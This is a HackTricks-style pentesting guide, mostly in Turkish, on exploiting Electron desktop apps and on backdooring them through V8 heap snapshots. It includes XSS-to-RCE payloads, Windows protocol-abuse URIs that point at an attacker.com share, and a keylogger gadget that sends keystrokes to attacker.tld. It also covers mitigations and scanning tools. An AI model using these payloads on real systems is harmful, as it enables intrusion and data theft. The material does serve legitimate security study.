Electron Masaüstü Uygulamaları

Reading time: 21 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Giriş

Electron, yerel bir backend (NodeJS) ve bir frontend (Chromium) birleştirir; ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur.

Genellikle Electron uygulama kodunu bir .asar dosyası içinde bulursunuz; koda erişmek için bunu çıkarmanız gerekir:

bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Bir Electron uygulamasının kaynak kodunda, packet.json içinde güvenlik yapılandırmalarının ayarlandığı main.js dosyası belirtilmiş olarak bulunabilir.

json
{
"name": "standard-notes",
"main": "./app/index.js",

Electron'in 2 işlem türü vardır:

  • Main Process (NodeJS'e tam erişimi vardır)
  • Renderer Process (güvenlik nedeniyle NodeJS erişimi kısıtlanmış olmalıdır)

Bir renderer process bir dosyayı yükleyen bir tarayıcı penceresi olacaktır:

javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

Settings of the renderer süreci can be configured in the main süreci inside the main.js file. Some of the configurations will prevent the Electron application to get RCE or other vulnerabilities if the settings are correctly configured.

The electron application could access the device via Node apis although it can be configure to prevent it:

  • nodeIntegration - varsayılan olarak off durumundadır. Eğer on ise, renderer sürecinden node özelliklerine erişime izin verir.
  • contextIsolation - varsayılan olarak on durumundadır. Eğer off ise, main ve renderer süreçleri izole değildir.
  • preload - varsayılan olarak boş.
  • sandbox - varsayılan olarak off durumundadır. NodeJS'in gerçekleştirebileceği işlemleri kısıtlayacaktır.
  • Node Integration in Workers
  • nodeIntegrationInSubframes - varsayılan olarak off durumundadır.
  • If nodeIntegration is enabled, this would allow the use of Node.js APIs in web pages that are loaded in iframes within an Electron application.
  • If nodeIntegration is disabled, then preload'lar iframe içinde yüklenecektir

Example of configuration:

javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

Bazı RCE payloads kaynağı: here:

html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

Trafiği yakalama

start-main yapılandırmasını değiştirin ve aşağıdaki gibi bir proxy kullanımı ekleyin:

javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Local Code Injection

Eğer yerel olarak bir Electron App çalıştırabiliyorsanız, onun rastgele javascript kodu çalıştırmasını sağlayabilirsiniz. Nasıl yapıldığını şurada kontrol edin:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

Eğer nodeIntegration on olarak ayarlanmışsa, bir web sayfasının JavaScript'i sadece require() çağırarak Node.js özelliklerini kolayca kullanabilir. Örneğin, Windows'ta calc uygulamasını çalıştırma yöntemi şudur:

html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

Bu ayarda belirtilen script, renderer'daki diğer scriptlerden önce yüklenir, bu yüzden Node APIs'e sınırsız erişimi vardır:

javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Bu nedenle script, node-features'i pages'lere export edebilir:

preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > Eğer contextIsolation açık ise, bu çalışmaz

RCE: XSS + contextIsolation

The contextIsolation web sayfası scriptleri ile JavaScript Electron'ın dahili kodu arasında ayrılmış bağlamlar oluşturur; böylece her bir kodun JavaScript yürütmesi birbirini etkilemez. Bu, RCE ihtimalini ortadan kaldırmak için gerekli bir özelliktir.

Eğer bağlamlar izole değilse bir saldırgan şunları yapabilir:

  1. arbitrary JavaScript in renderer (XSS veya harici sitelere yönlendirme)
  2. Overwrite the built-in method which is used in preload or Electron internal code to own function
  3. Trigger the use of overwritten function
  4. RCE?

There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

Tıklama olayını atlatma

Bir linke tıkladığınızda kısıtlamalar uygulanıyorsa, normal sol tıklama yerine orta tıklama yaparak bunları atlayabilirsiniz

javascript
window.addEventListener('click', (e) => {

RCE via shell.openExternal

Daha fazla bilgi için bu örneklere bakın: https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 ve https://benjamin-altpeter.de/shell-openexternal-dangers/

Bir Electron masaüstü uygulaması dağıtırken, nodeIntegration ve contextIsolation için doğru ayarları sağlamak çok önemlidir. Bu ayarlarla, main process'ten preload scripts veya Electron'un native kodunu hedefleyen client-side remote code execution (RCE) etkin bir şekilde engellenmiş kabul edilir.

Kullanıcı bağlantılarla etkileşime girdiğinde veya yeni pencereler açıldığında, uygulamanın güvenliği ve işlevselliği için kritik olan belirli event listener'lar tetiklenir:

javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Bu dinleyiciler, masaüstü uygulaması tarafından geçersiz kılınır ve kendi iş mantığını uygulamak için kullanılır. Uygulama, gezilen bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılması gerektiğini değerlendirir. Bu karar tipik olarak openInternally adlı bir fonksiyon aracılığıyla verilir. Bu fonksiyon false dönerse, bağlantının harici olarak açılması gerektiğini ve shell.openExternal fonksiyonunun kullanılacağını gösterir.

İşte basitleştirilmiş bir sözde kod:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JS güvenlik en iyi uygulamaları, openExternal fonksiyonuyla güvensiz içeriği kabul etmemeyi önerir; çünkü bu, çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE tetikleyebilecek farklı protokolleri destekler. Bu konuyla ilgili ayrıntılı örnekler ve daha fazla açıklama için this resource'e bakılabilir; bu kaynak, bu zafiyeti kötüye kullanabilecek Windows protokol örneklerini içerir.

macos'ta, openExternal fonksiyonu shell.openExternal('file:///System/Applications/Calculator.app') gibi komutların çalıştırılması için kötüye kullanılabilir.

Windows protokol istismar örnekleri şunlardır:

html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

RCE: webviewTag + vulnerable preload IPC + shell.openExternal

This vuln can be found in this report.

webviewTag, deprecated feature olan ve renderer process içinde NodeJS kullanımına izin veren bir özelliktir; bu özellik devre dışı bırakılmalıdır çünkü preload context içinde şu şekilde bir script yüklenmesine izin verir:

xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

Bu nedenle, rastgele bir sayfa yüklemeyi başarabilen bir attacker, o etiketi kullanarak rastgele bir preload script yükleyebilirdi.

Bu preload script daha sonra vulnerable IPC service (skype-new-window)'i çağırmak için istismar edildi; bu servis ise RCE elde etmek için shell.openExternal'ı çağırıyordu:

javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();

İç Dosyaları Okuma: XSS + contextIsolation

contextIsolation'ı devre dışı bırakmak, <webview> etiketlerinin <iframe>'e benzer şekilde yerel dosyaları okuma ve exfiltrating için kullanılmasına olanak tanır. Bir örnek, bu açığın iç dosyaların içeriğini okumak için nasıl istismar edilebileceğini gösterir:

Ayrıca, iç bir dosyayı okuma için başka bir yöntem paylaşılmış; bu, bir Electron masaüstü uygulamasında kritik bir local file read vulnerability'yi vurgular. Bu, uygulamayı istismar etmek ve verileri exfiltrate etmek için bir script enjekte etmeyi içerir:

html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + Eski Chromium

Uygulamanın kullandığı chromium old ise ve üzerinde known vulnerabilities varsa, bunu exploit edip RCE'yi XSS aracılığıyla elde etmek mümkün olabilir.
Örneği bu incelemede görebilirsiniz: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing — Internal URL regex bypass ile

Bir XSS bulduğunuzu varsayalım ama cannot trigger RCE or steal internal files; bunu kullanarak steal credentials via phishing deneyebilirsiniz.

Öncelikle yeni bir URL açmaya çalıştığınızda ne olduğuna bakmalısınız; front-end'deki JS kodunu kontrol edin:

javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Çağrı openInternally ilgili linkin platforma ait bir link olması durumunda masaüstü penceresinde mi açılacağını, veya tarayıcıda 3. taraf kaynak olarak mı açılacağını belirler.

Fonksiyonda kullanılan regex eğer bypasslara karşı savunmasız (örneğin alt alan adlarındaki noktaları kaçışlandırmamak) ise, bir saldırgan XSS'i suistimal ederek yeni bir pencere açabilir; bu pencere saldırganın altyapısında barındırılacak ve kullanıcıdan kimlik bilgilerini isteyecek:

html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

file:// Protokol

As mentioned in the docs pages running on file:// have unilateral access to every file on your machine meaning that XSS issues can be used to load arbitrary files from the users machine. Using a custom protocol prevents issues like this as you can limit the protocol to only serving a specific set of files.

Remote module

The Electron Remote module allows renderer processes to access main process APIs, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.

tip

Although the remote module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.

warning

Many apps that still use the remote module do it in a way that require NodeIntegration to be enabled in the renderer process, which is a huge security risk.

Since Electron 14 the remote module of Electron might be enabled in several steops cause due to security and performance reasons it's recommended to not use it.

To enable it, it'd first needed to enable it in the main process:

javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)

Daha sonra, renderer süreci modülden şu şekilde nesneler import edebilir:

javascript
import { dialog, getCurrentWindow } from '@electron/remote'

The blog post, remote modülündeki app nesnesi tarafından sunulan bazı ilginç fonksiyonları gösteriyor:

  • app.relaunch([options])
  • Uygulamayı mevcut örneği kapatıp yeni bir tane başlatarak yeniden başlatır. Uygulama güncellemeleri veya önemli durum değişiklikleri için faydalıdır.
  • app.setAppLogsPath([path])
  • Uygulama loglarını saklamak için bir dizin tanımlar veya oluşturur. Loglar app.getPath() veya app.setPath(pathName, newPath) kullanılarak alınabilir veya değiştirilebilir.
  • app.setAsDefaultProtocolClient(protocol[, path, args])
  • Belirtilen bir protokol için mevcut yürütülebilir dosyayı varsayılan işleyici olarak kaydeder. Gerekirse özel bir path ve argümanlar sağlayabilirsiniz.
  • app.setUserTasks(tasks)
  • Görevleri, Jump List içindeki Tasks kategorisine ekler (Windows üzerinde). Her görev uygulamanın nasıl başlatılacağını veya hangi argümanların iletileceğini kontrol edebilir.
  • app.importCertificate(options, callback)
  • Sistemin sertifika deposuna bir PKCS#12 certificate içe aktarır (sadece Linux). Sonucu işlemek için bir callback kullanılabilir.
  • app.moveToApplicationsFolder([options])
  • Uygulamayı Applications klasörüne taşır (macOS üzerinde). Mac kullanıcıları için standart bir kurulum sağlamaya yardımcı olur.
  • app.setJumpList(categories)
  • Windows üzerinde özel bir Jump List oluşturur veya kaldırır. Görevlerin kullanıcıya nasıl görüneceğini düzenlemek için kategoriler belirtebilirsiniz.
  • app.setLoginItemSettings(settings)
  • Hangi çalıştırılabilir dosyaların girişte başlatılacağını ve bunların seçeneklerini yapılandırır (sadece macOS ve Windows).

Örnek:

javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

systemPreferences modülü

Electron'da sistem tercihlerine erişmek ve sistem olaylarını yayınlamak için birincil API. subscribeNotification, subscribeWorkspaceNotification, getUserDefault ve setUserDefault gibi yöntemlerin tamamı bu modülün parçasıdır.

Örnek kullanım:

javascript
const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

  • Dinler NSDistributedNotificationCenter kullanarak yerel macOS bildirimlerini.
  • macOS Catalina öncesinde, CFNotificationCenterAddObserver'a nil geçirerek tüm dağıtılmış bildirimleri sniff'leyebilirdiniz.
  • Catalina / Big Sur sonrası, sandbox'lı uygulamalar yine bildirimleri ad bazında kaydederek birçok olaya (ör. ekran kilidi/açılması, hacim bağlamaları, ağ etkinliği, vb.) subscribe olabilirler.

getUserDefault / setUserDefault

  • NSUserDefaults ile arayüz sağlar; bu, macOS'ta uygulama veya global tercihleri saklar.

  • getUserDefault, recent file locations veya user’s geographic location gibi hassas bilgileri retrieve edebilir.

  • setUserDefault, bu tercihleri modify edebilir ve potansiyel olarak bir uygulamanın configuration'ını etkileyebilir.

  • Older Electron versions (v8.3.0 öncesi) durumunda, yalnızca NSUserDefaults'un standard suite'i accessible idi.

Shell.showItemInFolder

Bu fonksiyon verilen dosyayı bir dosya yöneticisinde gösterir; bu, dosyanın otomatik olarak çalıştırılmasına neden olabilir.

For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html

Content Security Policy

Electron uygulamalarının XSS attacks'i önlemek için bir Content Security Policy (CSP)'si olmalıdır. CSP, tarayıcıda untrusted code'un execution'ını prevent etmeye yardımcı olan bir security standard'dır.

Genellikle main.js dosyasında veya index.html şablonunda, CSP'nin bir meta tag içinde bulunduğu yerde configured edilir.

For more information check:

Content Security Policy (CSP) Bypass

RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)

Bu gerçek dünya zinciri Visual Studio Code 1.63 (CVE-2021-43908) etkiledi ve bir webview içindeki tek bir markdown-driven XSS'in CSP, postMessage ve scheme handler'lar yanlış yapılandırıldığında nasıl tam RCE'ye yükseltilebileceğini gösterir. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt

Attack chain overview

  • First XSS via webview CSP: Oluşturulan CSP style-src 'self' 'unsafe-inline' içeriyordu, bu da vscode-webview:// bağlamında inline/stil tabanlı enjeksiyona izin veriyordu. Payload hedef webview’in extensionId’sini exfiltrate etmek için /stealID'ye beacon gönderdi.
  • Constructing target webview URL: Leaked ID kullanılarak vscode-webview://<extensionId>/.../<publicUrl> oluşturuldu.
  • Second XSS via postMessage trust: Dış webview, window.postMessage'e sıkı origin/type kontrolleri olmadan güvendi ve allowScripts: true ile saldırgan HTML'i yükledi.
  • Local file loading via scheme/path rewriting: Payload file:///...vscode-file://vscode-app/... olarak yeniden yazdı ve exploit.md'yi RCE.html ile değiştirdi; zayıf yol doğrulamasını suistimal ederek ayrıcalıklı bir yerel kaynağı yükledi.
  • RCE in Node-enabled context: Yüklenen HTML, Node API'lerinin kullanılabildiği bir ortamda çalıştı ve OS komut çalıştırmaya yol açtı.

Example RCE primitive in the final context

js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe');            // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS

postMessage güven sorunlarıyla ilgili okumalar:

PostMessage Vulnerabilities

Araçlar

  • Electronegativity Electron tabanlı uygulamalardaki yanlış yapılandırmaları ve güvenlik anti-pattern'lerini tespit etmek için bir araçtır.
  • Electrolint Electronegativity'yi kullanan, Electron uygulamaları için açık kaynaklı bir VS Code eklentisidir.
  • nodejsscan kırılgan üçüncü taraf kütüphaneleri kontrol etmek için kullanılır.
  • Electro.ng: Satın almanız gerekiyor

Lablar

Aşağıdaki https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s bağlantısında kırılgan Electron uygulamalarını istismar etmeye yönelik bir lab bulabilirsiniz.

Lab sırasında size yardımcı olacak bazı komutlar:

bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305

Electron ve Chromium tabanlı uygulamalar, her V8 isolate'ını (main, preload, renderer) başlatmak için başlangıçta önceden oluşturulmuş bir V8 heap snapshot'ını (v8_context_snapshot.bin ve isteğe bağlı olarak browser_v8_context_snapshot.bin) deserialize eder. Tarihsel olarak Electron’un integrity fuses bu snapshot'ları çalıştırılabilir içerik olarak değerlendirmiyordu; dolayısıyla fuse tabanlı bütünlük denetimi ve OS code-signing kontrollerinden kaçıyorlardı. Sonuç olarak, kullanıcı tarafından yazılabilir bir kurulumdaki snapshot'ın değiştirilmesi, imzalı ikili dosyaları veya ASAR'ı değiştirmeden uygulama içinde gizli, kalıcı kod yürütme sağlıyordu.

Key points

  • Integrity gap: EnableEmbeddedAsarIntegrityValidation ve OnlyLoadAppFromAsar ASAR içindeki uygulama JavaScript'ini doğruluyor, ancak V8 heap snapshot'larını kapsamadılar (CVE-2025-55305). Chromium da benzer şekilde snapshot'ları bütünlük açısından doğrulamıyor.
  • Attack preconditions: Uygulamanın kurulum dizinine yerel dosya yazma. Bu, Electron uygulamalarının veya Chromium tarayıcılarının kullanıcı tarafından yazılabilir dizinlere kurulduğu sistemlerde yaygındır (ör. %AppData%\Local on Windows; /Applications with caveats on macOS).
  • Effect: Sık kullanılan bir builtin (bir “gadget”) üzerinde değişiklik yaparak herhangi bir isolate içinde saldırgan JavaScript'inin güvenilir şekilde çalıştırılması; bu kalıcılık ve code-signing doğrulamasından kaçınma sağlar.
  • Affected surface: Kullanıcı tarafından yazılabilir konumlardan snapshot yükleyen Electron uygulamaları (fuses etkin olsa bile) ve Chromium tabanlı tarayıcılar.

Generating a malicious snapshot without building Chromium

  • electron/mksnapshot önceden derlenmiş aracını kullanarak payload JS'i bir snapshot'a derleyin ve uygulamanın v8_context_snapshot.bin dosyasını üzerine yazın.

Example minimal payload (prove execution by forcing a crash)

js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file

const orig = Array.isArray;

// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};

Isolate-aware payload routing (main ile renderer'da farklı kodlar çalıştır)

  • Main process detection: Sadece Node'da bulunan global'ler (ör. process.pid, process.binding(), veya process.dlopen) main process isolate içinde mevcuttur.
  • Browser/renderer detection: Sadece Browser'da bulunan global'ler (ör. alert), bir document context içinde çalışırken erişilebilir.

Example gadget that probes main-process Node capabilities once

js
const orig = Array.isArray;

Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');

// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};

Renderer/browser-context veri hırsızlığı PoC (ör. Slack)

js
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};

Operator iş akışı

  1. payload.js yazın; yaygın bir builtin (ör. Array.isArray) üzerine yazsın ve isteğe bağlı olarak her isolate için dallansın.
  2. Chromium kaynakları olmadan snapshot oluşturun:
  • npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
  1. Hedef uygulamanın snapshot dosyalarını üzerine yazın:
  • v8_context_snapshot.bin (her zaman kullanılır)
  • browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse kullanılıyorsa)
  1. Uygulamayı başlatın; seçilen builtin her kullanıldığında gadget çalışır.

Notlar ve dikkate alınması gerekenler

  • Bütünlük/imza atlatma: Snapshot dosyaları kod-imzalama kontrolleri tarafından native yürütülebilirler olarak değerlendirilmez ve (tarihi olarak) Electron’un fuses veya Chromium bütünlük kontrolleri tarafından kapsanmıyordu.
  • Süreklilik: Kullanıcı tarafından yazılabilir bir kurulumda snapshot'u değiştirmek genellikle uygulama yeniden başlatmalarını atlatır ve imzalı, meşru bir uygulama gibi görünür.
  • Chromium tarayıcılar: Aynı manipülasyon konsepti, kullanıcı tarafından yazılabilir konumlara kurulan Chrome/türevleri için de geçerlidir. Chrome'un başka bütünlük hafifletmeleri vardır ancak fiziksel olarak yerel saldırıları tehdit modelinin dışında açıkça bırakır.

Tespit ve hafifletmeler

  • Snapshot'ları yürütülebilir içerik olarak ele alın ve bütünlük uygulamalarına dahil edin (CVE-2025-55305 fix).
  • Sadece admin yazılabilir kurulum konumlarını tercih edin; v8_context_snapshot.bin ve browser_v8_context_snapshot.bin için temel hash'leri alın ve izleyin.
  • Erken çalışma zamanı builtin üzerine yazmalarını ve beklenmeyen snapshot değişikliklerini tespit edin; deserialized snapshot'lar beklenen değerlerle eşleşmediğinde alarm verin.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin